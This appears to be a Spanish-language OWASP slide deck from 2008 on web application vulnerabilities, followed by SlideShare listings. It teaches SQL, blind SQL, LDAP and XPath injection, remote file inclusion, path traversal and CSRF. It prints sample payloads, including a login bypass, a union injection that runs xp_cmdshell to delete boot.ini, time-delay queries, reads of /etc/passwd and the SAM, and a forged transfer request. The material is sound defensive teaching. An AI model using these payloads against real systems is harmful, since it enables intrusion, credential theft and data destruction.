SlideShare uma empresa Scribd logo
1 de 30
Baixar para ler offline
12/04/2008




The Open Web Application Security Project


THE TEN MOST CRITICAL WEB APPLICATION SECURITY
                VULNERABILITIES
►http://www.owasp.org/images/e/e8/OWASP_Top_1
 0_2007.pdf




                                                         1
12/04/2008




► http://elladodelmal.blogspot.com/2007/08/hijacking-en-slashdot-step-by-step.html




                                                                                             2
12/04/2008




►SQL Injection
►LDAP Injection
►Xpath Injection


►…Y a ciegas…


►Blind SQL Injection
►Blind LDAP Injection
►Blind XPAth Injection




► Aplicaciones con mala comprobación de datos de entrada.
     Datos de usuario.
        Formularios
         oText

         oPassword

         oTextarea

         oList

         omultilist

     Datos de llamadas a procedimientos.
        Links
        Funciones Scripts
        Actions


► Datos de usuario utilizados en consultas a base de datos.
► Mala construcción de consultas a bases de datos.




                                                                      3
12/04/2008




  ►Permiten al atacante:
       Saltar restricciones de acceso.
       Elevación de privilegios.
       Extracción de información de la Base de Datos
       Parada de SGBDR.
       Ejecución de comandos en contexto usuario bd
       dentro del servidor.




►Ejemplo 1:
    Autenticación de usuario contra base de datos.


                             Usuario

                             Clave          ****************

     Select idusuario from tabla_usuarios
     Where nombre_usuario=‘$usuario’
     And clave=‘$clave’;




                                                                       4
12/04/2008




►Ejemplo 1 (cont)


                                 Usuario     Administrador

                                 Clave       ‘ or ‘1’=‘1

      Select idusuario from tabla_usuarios
      Where nombre_usuario=‘Administrador’
      And clave=‘’ or ‘1’=‘1’;




  ►Ejemplo 2:
          Acceso a información con procedimientos de
          listado.

      http://www.miweb.com/prog.asp?parametro1=hola


      Ó


      http://www.miweb.com/prog.asp?parametro1=1




                                                                     5
12/04/2008




►Ejemplo 2 (cont):


   http://www.miweb.com/prog.asp?parametro1=‘ union select
    nombre, clave,1,1,1 from tabla_usuarios; otra instrucción;
    xp_cmdshell(“del c:boot.ini”); shutdown --


   Ó


   http://www.miweb.com/prog.asp?parametro1=-1 union select
    .....; otra instrucción; --




►Escrita por Francisco Amato


►Obtener la estructura y datos completa de la BBDD.
       1 Injección para la estructura
       1 post para cada fila
       Totalmente automática
►Soporta “n” bases de datos.


►Descargable (app y source)
       http://www.infobyte.com.ar




                                                                         6
12/04/2008




►Programa.asp?id=218 and 1=(select top 1 name from
 sysusers order by 1 desc)

►Microsoft OLE DB Provider for SQL Server error
 '80040e07'
 Conversion failed when converting the nvarchar value
 'sys' to data type int.
 /Programa.asp, line 8


►Programa.asp?id=218 and 1=(select top 1 name from
 sysusers where name<’sys’ order by 1 desc)




                                                                7
12/04/2008




        8
12/04/2008




►La aplicación Web no muestra ningún mensaje de
 error.
►La aplicación no procesa nuestros comandos
    Select titulo from tabla where param=$param
►Se inyecta comandos y se busca hacer preguntas de
 Verdad o Mentira. Ejemplo:
    http://server/miphp.php?id=1 and 1=1
    http://server/miphp.php?id=1 and 1=2




                                                             9
12/04/2008




►¿Como reconocer un falso?
     Da un código de error
     Da una página de error
     Cambia el hash de la firma
     Cambia el árbol html
     Tarda más en responder


►Si la página reacciona de forma diferente a la Verdad y a la
 Mentira, entonces podemos extraer datos haciendo búsquedas:
     http://server/miphp.php?id=1 and 300>(select
     ascii(substring(username,1,1) from all_users where rownum<=1)




                                                                            10
12/04/2008




►Si el contenido de la respuesta es idéntico en ambos
 casos, aún es posible conseguir nuestro objetivo
 variando condicionalmente el tiempo de respuesta
 del servidor
    Si la condición inyectada es verdadera, la aplicación
    tardará unos segundos en contestar
    Si la condición es falsa, la aplicación devolverá la
    misma respuesta, pero en el tiempo habitual
►Podemos utilizar las mismas técnicas de inyección
 descritas anteriormente




                                                 21




►¿Cómo podemos conseguir el retardo?
    Utilizando instrucciones de retardo implementadas
    en el propio gestor de bases de datos
       SQL Server: waitfor delay
       Oracle: dbms_lock.sleep
       MySQL: sleep
    Utilizando consultas pesadas que consuman
    muchos recursos del servidor (CPU o memoria)
       CROSS JOIN que involucren muchas tablas
    De cualquier otra forma (ej: xp_cmdshell 'ping…')



                                                 22




                                                                   11
12/04/2008




     ►Instrucciones de retardo del propio SGBD
            Microsoft SQL Server
                ; if (exists(select * from contrasena)) waitfor delay '0:0:5'
            Oracle
                ; begin if (condicion) then dbms_lock.sleep(5); end if; end;
            MySQL (versión 5)
                and exists(select * from contrasena) and sleep(5)
               and exists(select * from contrasena) and
              benchmark(5000000,md5(rand()))=0
            Microsoft Access no tiene instrucciones de retardo



                                                                  23




http://elladodelmal.blogspot.com/2007/06/blind-sql-injection-ii-de-hackeando-un.html




                                                                                              12
12/04/2008




►Consultas pesadas
     La clave para generar consultas pesadas está en
     realizar múltiples operaciones CROSS JOIN

                    Joins      Filas    Columnas
                     1          4            2
                     2          16           4
                     3          64           6
                     4         256           8
                     5         1024          10

     Ejemplo: Una tabla con 4 registros y 2 columnas
     combinada consigo misma 10 veces, genera un
     resultado de 20 columnas y más de un millón de filas




►Consultas pesadas: estructura
    SELECT COUNT(*) FROM tabla T1, tabla T2, …, tabla Tn
    Donde el número de tablas implicadas en el producto
    cartesiano (CROSS JOIN) sea suficientemente grande
    como para generar un retardo medible
    Dependiendo del SGDB y de cómo realice la
    comprobación de las condiciones lógicas introducidas
    con AND, deberemos establecer nuestra subconsulta
    SQL antes o después del operador lógico
       AND subconsulta AND consulta_pesada
       AND consulta_pesada AND subconsulta
    http://www.microsoft.com/latam/technet/articulos/art
    iculos_seguridad/2007/septiembre/sv0907.mspx

                                                   26




                                                                   13
12/04/2008




►Consultas pesadas: tablas recomendadas
    Microsoft SQL Server
       sysusers
    Oracle
       all_users
    MySQL (versión 5)
       information_schema.columns
    Microsoft Access
       MSysAccessObjects (versiones 97 y 2000)
       MSysAccessStorage (versiones 2003 y 2007)



                                                    27




             Verdad: La consulta dura 6 segundos.




                                                                14
12/04/2008




Falso: La consulta dura 1 segundo.




                                            15
12/04/2008




       16
12/04/2008




►Absinthe: Extrae toda la
 información de bases de
 datos MSSQL,
 PostgreSQL, Sybase y
 Oracle utilizando suma
 linear de valores ASCII.




►Absinthe: Extrae toda
 la información de bases
 de datos MSSQL,
 PostgreSQL, Sybase y
 Oracle utilizando suma
 linear de valores ASCII.




                                   17
12/04/2008




       18
12/04/2008




       19
12/04/2008




►Sniffing de Passwords LDAP
►Recogida de certificados servidores LDAP-s
►MITM LDAP-s




             ►LDAP: Base de datos Jerarquica
                  Clases
                  Objetos
                  Herencia
                  Contenedores
             ►Búsqueda: LDAP Search Filters




                                                      20
12/04/2008




  filter = LPAREN filtercomp RPAREN
  filtercomp = and / or / not / item
  and = AMPERSAND filterlist
  or = VERTBAR filterlist
  not = EXCLAMATION filter
  filterlist = 1*filter
  item = simple / present / substring / extensible
  simple = attr filtertype assertionvalue
  filtertype = equal / approx / greaterorequal / lessorequal
  equal = EQUALS
  approx = TILDE EQUALS
  greaterorequal = RANGLE EQUALS lessorequal = LANGLE EQUALS




(&(atributo1=valor1)(atributo2=valor2))

Ejemplo:
  (&(directorio=nombre_directorio)(nivel_seguridad=bajo))


Inyección:
(&(directorio=almacen)(nivel_seguridad=alto))(|(directorio=al
  macen)(nivel_seguridad=bajo))




                                                                       21
12/04/2008




 (|(atributo1=valor1)(atributo2=valor2))

Ejemplo:
(|(cn=D*)(ou=Groups))


Inyección:
(|(cn=void)(uid=*))(ou=Groups))




   ►Tiene lógica binaria
   ►Tiene soporte para booleanización:
        Comodín: *
             Reducción charset: *a*
             Despliegue: a*
        Relacionales:
             >=
             <=
             ~=
             =




                                                  22
12/04/2008




►Certezas absolutas (RFC       4256)
    Absolute FALSE (|)
    Absolute TRUE (&)
►Anomalías:
    ¿NOT absoluto? (!) -> equivalente a !
    Caracteres fuera del alfabeto
       Ñ* -> equivalente a *
       Ç* -> equivalente a *
       ** -> equivalente a ¡¡ERROR!!




                                                   23
12/04/2008




  Explotación

        Dada la siguiente consulta Xpath:

     string(//user[username/text()=‘romansoft' and password/text()='!dSR']/uid/text())


    Dónde buscar                         Condición                     Qué devolver


        Inyectamos:
 User: abc' or 1=1 or 'a'='b
 Pass: k
        La condición quedaría:
 username/text()=‘abc' or 1=1 or 'a'='b' and password/text()=‘k'




►Vulnerabilidad propia de páginas PHP
 dinámicas que permite enlace de archivos
 remotos situados en otros servidores
►Se debe a una mala programación o uso de la
 función include()
►Esta vulnerabilidad no se da en páginas
 programadas en un lenguaje que no permita
 la inclusión de ficheros ajenos al servidor




                                                                                                24
12/04/2008




  ►La vulnerabilidad es producida por código semejante
    a este
  $page = $_GET['page'];
  include($page);

  ►En páginas de este tipo se puede incluir ficheros que
    estén en nuestro servidor

 http://victima.com/pagvuln.php?page=http://[misitio]/miFichero




►Existen herramientas que permite explorar un
 sitio Web en busca de este tipo de
 vulnerabilidades (rpvs)




                                                                         25
12/04/2008




►Mediante las shell PHP se pueden ejecutar
 comandos en una página Web
►Usando RFI se puede incluir un fichero que
 ejecute comandos, tales como listar
 directorios, obtener y colocar ficheros, etc.
►http://www.acamandola.com/safe.txt




►“El cucharón”
    Rutas a ficheros no controladas
    File=../../../../etc/passw
    id=…/../windows/repair/sam




                                                        26
12/04/2008




►Session Riding, One-Click Attacks, Cross Site
 Reference Forgery, Hostile Linking, Automation
 Attack o XSRF.
►Por medio de una injección se fuerza la ejecución de
 acciones automáticas por parte del usuario.


<img src=quot;http://www.example.com/logout.phpquot;>
<img src=quot;http://www.example.com/transfer.do?
frmAcct=document.form.frmAcct &toAcct=4345754
&toSWIFTid=434343&amt=3434.43quot;>




                                                               27
12/04/2008




►Se deja información sensible sin asegurar
►Se muestran mensajes de error detallados




►7.- Autenticación Rota y Gestión de Sesión
    Partes sin comprobar autenticación
    No procesos de logout seguro.
►8.- Almacenamiento con Criptografía insegura
    Datos sin cifrar o mal cifrados
►9.- Comunicaciones Inseguras
►10.-URLs mal restringidas
    Pueden ser adivinadas o “bruteforceadas”




                                                       28
12/04/2008




                ►Chema Alonso
                ►chema@informatica64.com
                ►http://elladodelmal.blogspot.com
                ►http://www.informatica64.com



                ►Francisco Amato
                ►Infobyte
                ►famato@infobyte.com.ar
                ►http://www.infobyte.com.ar




     Technews I64. Suscríbete Gratis en

     http://www.informatica64.com/boletines




November 2006                                       58




                                                                29
12/04/2008




  Blind SQL Injection
http://elladodelmal.blogspot.com/2007/07/proteccin-contra-las-tcnicas-de-
  blind.html
  Time-Bases Blind SQL Injection with heavy Queries
http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/s
  eptiembre/sv0907.mspx
  LDAP Injection & Blind LDAP Injection
http://elladodelmal.blogspot.com/2007/10/ldap-injection-blind-ldap-
  injection_9021.html
  XPath injection in XML databases
http://palisade.plynt.com/issues/2005Jul/xpath-injection/
  Blind XPath Injection
http://packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.
  pdf
► Milw0rm (Webapps exploits)
http://milw0rm.com/webapps.php
- OWASP
http://www.owasp.org




                                                                                      30

Mais conteúdo relacionado

Mais procurados

Introducción a SQL sobre Oracle
Introducción a SQL sobre OracleIntroducción a SQL sobre Oracle
Introducción a SQL sobre OracleRaúl Galíndez
 
Pentaho BI
Pentaho BIPentaho BI
Pentaho BIT.I.C
 
Administración de base de datos oracle - sesion 3
Administración de base de datos oracle - sesion 3Administración de base de datos oracle - sesion 3
Administración de base de datos oracle - sesion 3Sefira111
 
Administración de base de datos oracle - sesion 7
Administración de base de datos oracle - sesion 7Administración de base de datos oracle - sesion 7
Administración de base de datos oracle - sesion 7Sefira111
 
Bases de Datos en en www.fiec.espol.edu.ec
Bases de Datos en  en www.fiec.espol.edu.ecBases de Datos en  en www.fiec.espol.edu.ec
Bases de Datos en en www.fiec.espol.edu.ecSilvana Vargas
 
Preparando el entorno de la base de datos Oracle 11g Administration I-Z052-03
Preparando el entorno de la base de datos Oracle 11g Administration I-Z052-03Preparando el entorno de la base de datos Oracle 11g Administration I-Z052-03
Preparando el entorno de la base de datos Oracle 11g Administration I-Z052-03Alexander Calderón
 
Mejores Prácticas Administración de Base de Datos Oracle
Mejores Prácticas Administración de Base de Datos OracleMejores Prácticas Administración de Base de Datos Oracle
Mejores Prácticas Administración de Base de Datos Oraclejftorres92
 
Un vistazo a sql server
Un vistazo a sql serverUn vistazo a sql server
Un vistazo a sql serverLalo Pérez
 
Base de Datos en Microsoft SQL Server
Base de Datos en Microsoft SQL ServerBase de Datos en Microsoft SQL Server
Base de Datos en Microsoft SQL ServerSuarezJhon
 
Administración de base de datos oracle - sesion 8
Administración de base de datos oracle - sesion 8Administración de base de datos oracle - sesion 8
Administración de base de datos oracle - sesion 8Sefira111
 
Crear Base de Datos en Oracle
Crear Base de Datos en OracleCrear Base de Datos en Oracle
Crear Base de Datos en Oraclejubacalo
 
Administración de base de datos oracle - sesion 6
Administración de base de datos oracle - sesion 6Administración de base de datos oracle - sesion 6
Administración de base de datos oracle - sesion 6Sefira111
 
Administración de base de datos oracle - sesion 2
Administración de base de datos oracle - sesion 2Administración de base de datos oracle - sesion 2
Administración de base de datos oracle - sesion 2Sefira111
 
Administración de base de datos oracle - sesión 4
Administración de base de datos oracle - sesión 4Administración de base de datos oracle - sesión 4
Administración de base de datos oracle - sesión 4Sefira111
 
Administración de base de datos oracle - sesion 5
Administración de base de datos oracle - sesion 5Administración de base de datos oracle - sesion 5
Administración de base de datos oracle - sesion 5Sefira111
 
Introduccion a las tecnologias de Oracle Database R2 11G Z051 01
Introduccion a las tecnologias de Oracle Database R2 11G Z051 01Introduccion a las tecnologias de Oracle Database R2 11G Z051 01
Introduccion a las tecnologias de Oracle Database R2 11G Z051 01Alexander Calderón
 

Mais procurados (20)

Introducción a SQL sobre Oracle
Introducción a SQL sobre OracleIntroducción a SQL sobre Oracle
Introducción a SQL sobre Oracle
 
Tablespaces En Oracle
Tablespaces En OracleTablespaces En Oracle
Tablespaces En Oracle
 
Pentaho BI
Pentaho BIPentaho BI
Pentaho BI
 
Administración de base de datos oracle - sesion 3
Administración de base de datos oracle - sesion 3Administración de base de datos oracle - sesion 3
Administración de base de datos oracle - sesion 3
 
Administración de base de datos oracle - sesion 7
Administración de base de datos oracle - sesion 7Administración de base de datos oracle - sesion 7
Administración de base de datos oracle - sesion 7
 
Bases de Datos en en www.fiec.espol.edu.ec
Bases de Datos en  en www.fiec.espol.edu.ecBases de Datos en  en www.fiec.espol.edu.ec
Bases de Datos en en www.fiec.espol.edu.ec
 
Preparando el entorno de la base de datos Oracle 11g Administration I-Z052-03
Preparando el entorno de la base de datos Oracle 11g Administration I-Z052-03Preparando el entorno de la base de datos Oracle 11g Administration I-Z052-03
Preparando el entorno de la base de datos Oracle 11g Administration I-Z052-03
 
Mejores Prácticas Administración de Base de Datos Oracle
Mejores Prácticas Administración de Base de Datos OracleMejores Prácticas Administración de Base de Datos Oracle
Mejores Prácticas Administración de Base de Datos Oracle
 
Un vistazo a sql server
Un vistazo a sql serverUn vistazo a sql server
Un vistazo a sql server
 
Base de Datos en Microsoft SQL Server
Base de Datos en Microsoft SQL ServerBase de Datos en Microsoft SQL Server
Base de Datos en Microsoft SQL Server
 
Administración de base de datos oracle - sesion 8
Administración de base de datos oracle - sesion 8Administración de base de datos oracle - sesion 8
Administración de base de datos oracle - sesion 8
 
Base de datos - Clase 2
Base de datos - Clase 2Base de datos - Clase 2
Base de datos - Clase 2
 
Crear Base de Datos en Oracle
Crear Base de Datos en OracleCrear Base de Datos en Oracle
Crear Base de Datos en Oracle
 
Administración de base de datos oracle - sesion 6
Administración de base de datos oracle - sesion 6Administración de base de datos oracle - sesion 6
Administración de base de datos oracle - sesion 6
 
Administración de base de datos oracle - sesion 2
Administración de base de datos oracle - sesion 2Administración de base de datos oracle - sesion 2
Administración de base de datos oracle - sesion 2
 
Administración de base de datos oracle - sesión 4
Administración de base de datos oracle - sesión 4Administración de base de datos oracle - sesión 4
Administración de base de datos oracle - sesión 4
 
Administración de base de datos oracle - sesion 5
Administración de base de datos oracle - sesion 5Administración de base de datos oracle - sesion 5
Administración de base de datos oracle - sesion 5
 
Base de datos - Clase 3
Base de datos - Clase 3Base de datos - Clase 3
Base de datos - Clase 3
 
Introduccion a las tecnologias de Oracle Database R2 11G Z051 01
Introduccion a las tecnologias de Oracle Database R2 11G Z051 01Introduccion a las tecnologias de Oracle Database R2 11G Z051 01
Introduccion a las tecnologias de Oracle Database R2 11G Z051 01
 
TALLER 2 COMANDOS PLSQL
TALLER 2 COMANDOS PLSQLTALLER 2 COMANDOS PLSQL
TALLER 2 COMANDOS PLSQL
 

Destaque (6)

Joao Rabaça et al Ppt
Joao Rabaça et al PptJoao Rabaça et al Ppt
Joao Rabaça et al Ppt
 
David Blanchon Ppt
David Blanchon PptDavid Blanchon Ppt
David Blanchon Ppt
 
Lauti Ivi Agua
Lauti Ivi AguaLauti Ivi Agua
Lauti Ivi Agua
 
AnáLisis ..
AnáLisis ..AnáLisis ..
AnáLisis ..
 
Visual Studio 2005 Database Professional Edition
Visual Studio 2005 Database Professional EditionVisual Studio 2005 Database Professional Edition
Visual Studio 2005 Database Professional Edition
 
Open Monday: Pozice nejsou správným měřítkem úspěchu SEO
Open Monday: Pozice nejsou správným měřítkem úspěchu SEOOpen Monday: Pozice nejsou správným měřítkem úspěchu SEO
Open Monday: Pozice nejsou správným měřítkem úspěchu SEO
 

Semelhante a Charla OWASP

Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todoscsaralg
 
SQLinjection
SQLinjectionSQLinjection
SQLinjectionalexav8
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0José Moreno
 
Construcción de Aplicaciones de Avanzada con Geo-Distribución
Construcción de Aplicaciones de Avanzada con Geo-DistribuciónConstrucción de Aplicaciones de Avanzada con Geo-Distribución
Construcción de Aplicaciones de Avanzada con Geo-DistribuciónLoja Valle de Tecnología
 
Taller de Base de datos - Unidad 1 SGBD introduccion
Taller de Base de datos - Unidad 1 SGBD introduccionTaller de Base de datos - Unidad 1 SGBD introduccion
Taller de Base de datos - Unidad 1 SGBD introduccionJosé Antonio Sandoval Acosta
 
Aplicaciones escalables en la nube: mentiras y verdades
Aplicaciones escalables en la nube: mentiras y verdadesAplicaciones escalables en la nube: mentiras y verdades
Aplicaciones escalables en la nube: mentiras y verdadesEnrique Catala Bañuls
 
Bases de Datos Distribuidas con Sql Server 2012
Bases de Datos Distribuidas con Sql Server 2012Bases de Datos Distribuidas con Sql Server 2012
Bases de Datos Distribuidas con Sql Server 2012Antonio Ortiz
 
Rendimiento en magento
Rendimiento en magentoRendimiento en magento
Rendimiento en magentoOnestic
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebEduardo Jalon
 

Semelhante a Charla OWASP (20)

Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todos
 
(25/02) Desarrollador@S Invita - Introducción y novedades de SQL Server 2008
(25/02) Desarrollador@S Invita - Introducción y novedades de SQL Server 2008(25/02) Desarrollador@S Invita - Introducción y novedades de SQL Server 2008
(25/02) Desarrollador@S Invita - Introducción y novedades de SQL Server 2008
 
Jdbc
JdbcJdbc
Jdbc
 
SQLinjection
SQLinjectionSQLinjection
SQLinjection
 
U3-ACT02-TBD-ISC-MSG.pdf
U3-ACT02-TBD-ISC-MSG.pdfU3-ACT02-TBD-ISC-MSG.pdf
U3-ACT02-TBD-ISC-MSG.pdf
 
Configuracion del Entorno
Configuracion del EntornoConfiguracion del Entorno
Configuracion del Entorno
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0
 
Mysql
MysqlMysql
Mysql
 
Sql injection
Sql injectionSql injection
Sql injection
 
Construcción de Aplicaciones de Avanzada con Geo-Distribución
Construcción de Aplicaciones de Avanzada con Geo-DistribuciónConstrucción de Aplicaciones de Avanzada con Geo-Distribución
Construcción de Aplicaciones de Avanzada con Geo-Distribución
 
Guia7 java
Guia7 javaGuia7 java
Guia7 java
 
Taller de Base de datos - Unidad 1 SGBD introduccion
Taller de Base de datos - Unidad 1 SGBD introduccionTaller de Base de datos - Unidad 1 SGBD introduccion
Taller de Base de datos - Unidad 1 SGBD introduccion
 
P2C1 - Configuración del Entorno
P2C1 - Configuración del EntornoP2C1 - Configuración del Entorno
P2C1 - Configuración del Entorno
 
Aplicaciones escalables en la nube: mentiras y verdades
Aplicaciones escalables en la nube: mentiras y verdadesAplicaciones escalables en la nube: mentiras y verdades
Aplicaciones escalables en la nube: mentiras y verdades
 
Ado.net
Ado.netAdo.net
Ado.net
 
Exposicion Mysql
Exposicion MysqlExposicion Mysql
Exposicion Mysql
 
Sistemas de gestión de base de datos
Sistemas de gestión de base de datosSistemas de gestión de base de datos
Sistemas de gestión de base de datos
 
Bases de Datos Distribuidas con Sql Server 2012
Bases de Datos Distribuidas con Sql Server 2012Bases de Datos Distribuidas con Sql Server 2012
Bases de Datos Distribuidas con Sql Server 2012
 
Rendimiento en magento
Rendimiento en magentoRendimiento en magento
Rendimiento en magento
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación Web
 

Último

Trabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdfTrabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdfedepmariaperez
 
Análisis de Artefactos Tecnologicos (3) (1).pdf
Análisis de Artefactos Tecnologicos  (3) (1).pdfAnálisis de Artefactos Tecnologicos  (3) (1).pdf
Análisis de Artefactos Tecnologicos (3) (1).pdfsharitcalderon04
 
LINEA DE TIEMPO LITERATURA DIFERENCIADO LITERATURA.pptx
LINEA DE TIEMPO LITERATURA DIFERENCIADO LITERATURA.pptxLINEA DE TIEMPO LITERATURA DIFERENCIADO LITERATURA.pptx
LINEA DE TIEMPO LITERATURA DIFERENCIADO LITERATURA.pptxkimontey
 
David_Gallegos - tarea de la sesión 11.pptx
David_Gallegos - tarea de la sesión 11.pptxDavid_Gallegos - tarea de la sesión 11.pptx
David_Gallegos - tarea de la sesión 11.pptxDAVIDROBERTOGALLEGOS
 
Trabajando con Formasy Smart art en power Point
Trabajando con Formasy Smart art en power PointTrabajando con Formasy Smart art en power Point
Trabajando con Formasy Smart art en power PointValerioIvanDePazLoja
 
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptLUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptchaverriemily794
 
Análisis de los artefactos (nintendo NES)
Análisis de los artefactos (nintendo NES)Análisis de los artefactos (nintendo NES)
Análisis de los artefactos (nintendo NES)JuanStevenTrujilloCh
 
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxLAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxAlexander López
 
PLANEACION DE CLASES TEMA TIPOS DE FAMILIA.docx
PLANEACION DE CLASES TEMA TIPOS DE FAMILIA.docxPLANEACION DE CLASES TEMA TIPOS DE FAMILIA.docx
PLANEACION DE CLASES TEMA TIPOS DE FAMILIA.docxhasbleidit
 
Agencia Marketing Branding Google Workspace Deployment Services Credential Fe...
Agencia Marketing Branding Google Workspace Deployment Services Credential Fe...Agencia Marketing Branding Google Workspace Deployment Services Credential Fe...
Agencia Marketing Branding Google Workspace Deployment Services Credential Fe...Marketing BRANDING
 
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdfBetianaJuarez1
 
Documentacion Electrónica en Actos Juridicos
Documentacion Electrónica en Actos JuridicosDocumentacion Electrónica en Actos Juridicos
Documentacion Electrónica en Actos JuridicosAlbanyMartinez7
 
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptxHugoGutierrez99
 
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024u20211198540
 
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del PerúRed Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del PerúCEFERINO DELGADO FLORES
 
Slideshare y Scribd - Noli Cubillan Gerencia
Slideshare y Scribd - Noli Cubillan GerenciaSlideshare y Scribd - Noli Cubillan Gerencia
Slideshare y Scribd - Noli Cubillan Gerenciacubillannoly
 
La electricidad y la electronica.10-7.pdf
La electricidad y la electronica.10-7.pdfLa electricidad y la electronica.10-7.pdf
La electricidad y la electronica.10-7.pdfcristianrb0324
 
Viguetas Pretensadas en concreto armado
Viguetas Pretensadas  en concreto armadoViguetas Pretensadas  en concreto armado
Viguetas Pretensadas en concreto armadob7fwtwtfxf
 
Actividades de computación para alumnos de preescolar
Actividades de computación para alumnos de preescolarActividades de computación para alumnos de preescolar
Actividades de computación para alumnos de preescolar24roberto21
 

Último (20)

Trabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdfTrabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdf
 
Análisis de Artefactos Tecnologicos (3) (1).pdf
Análisis de Artefactos Tecnologicos  (3) (1).pdfAnálisis de Artefactos Tecnologicos  (3) (1).pdf
Análisis de Artefactos Tecnologicos (3) (1).pdf
 
LINEA DE TIEMPO LITERATURA DIFERENCIADO LITERATURA.pptx
LINEA DE TIEMPO LITERATURA DIFERENCIADO LITERATURA.pptxLINEA DE TIEMPO LITERATURA DIFERENCIADO LITERATURA.pptx
LINEA DE TIEMPO LITERATURA DIFERENCIADO LITERATURA.pptx
 
David_Gallegos - tarea de la sesión 11.pptx
David_Gallegos - tarea de la sesión 11.pptxDavid_Gallegos - tarea de la sesión 11.pptx
David_Gallegos - tarea de la sesión 11.pptx
 
El camino a convertirse en Microsoft MVP
El camino a convertirse en Microsoft MVPEl camino a convertirse en Microsoft MVP
El camino a convertirse en Microsoft MVP
 
Trabajando con Formasy Smart art en power Point
Trabajando con Formasy Smart art en power PointTrabajando con Formasy Smart art en power Point
Trabajando con Formasy Smart art en power Point
 
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptLUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
 
Análisis de los artefactos (nintendo NES)
Análisis de los artefactos (nintendo NES)Análisis de los artefactos (nintendo NES)
Análisis de los artefactos (nintendo NES)
 
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxLAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
 
PLANEACION DE CLASES TEMA TIPOS DE FAMILIA.docx
PLANEACION DE CLASES TEMA TIPOS DE FAMILIA.docxPLANEACION DE CLASES TEMA TIPOS DE FAMILIA.docx
PLANEACION DE CLASES TEMA TIPOS DE FAMILIA.docx
 
Agencia Marketing Branding Google Workspace Deployment Services Credential Fe...
Agencia Marketing Branding Google Workspace Deployment Services Credential Fe...Agencia Marketing Branding Google Workspace Deployment Services Credential Fe...
Agencia Marketing Branding Google Workspace Deployment Services Credential Fe...
 
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf
 
Documentacion Electrónica en Actos Juridicos
Documentacion Electrónica en Actos JuridicosDocumentacion Electrónica en Actos Juridicos
Documentacion Electrónica en Actos Juridicos
 
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx
 
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024
 
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del PerúRed Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
 
Slideshare y Scribd - Noli Cubillan Gerencia
Slideshare y Scribd - Noli Cubillan GerenciaSlideshare y Scribd - Noli Cubillan Gerencia
